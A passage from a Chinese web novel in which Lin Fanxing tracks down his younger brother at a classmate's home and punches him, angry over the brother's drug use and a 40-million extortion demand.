这个同学家里没有,就去另外两家。下一家仍旧一无所获,同学也表示好一阵子没见到小星了,都希望凡星哥赶紧找到那小王八蛋。林凡星的表情则越来越凝重,也不再抱什么希望。 大概率最后一个同学家里也是一样。 最后一个同学叫孔跃,开门之后脱口而出:“凡星哥?你怎么来了?” “我弟在不在你这里?”林凡星开门见山。 意外的是,孔跃的眼珠子往左边偏了偏:“啊……他啊,他……” 嗯,确定了,就是这里!林凡星大有尘埃落定的心理,却没有半分高兴,他推开孔跃,径直往里面走,孔跃还想拦着,却被跟着林凡星进来的陌生人拦在了一旁。 “咦?你是谁?”孔跃双手一推,完了完了,这回小星是完蛋了,他哥还带着保镖来的! 林凡星哪里听得到别人的话,全身血液沸腾一样往头顶冲。一切都是那小子惹出来的事,现在不知道惹了谁,两年后还学会吸粉!让人拍下照片,人家拿着照片直接找上门,问他要4000万! 你哥赚钱很容易吗?你哥在外头累死累活,你在该读书的年龄,跑外面和什么人鬼混? 林凡星一把推开了卧室门。 一个比他还清瘦苍白的少年闻声转头。 凡星和繁星的视线交汇,一个大,一个小。小的那个简直就是翻版,连发型都差不多。 “哥?”林繁星猛地打了个激灵,冲过来要抱住他。 在林繁星眼里,他和哥哥只是一周没见。然而在林凡星眼里,他和弟弟已经两年没见了。自从他眼睛受伤,他就再也没见过、没管过繁星,现在他只觉得时间成为了定格。 在弟弟抱住他的前一秒,林凡星挥动手臂,打出了两年前就该给他的这一拳!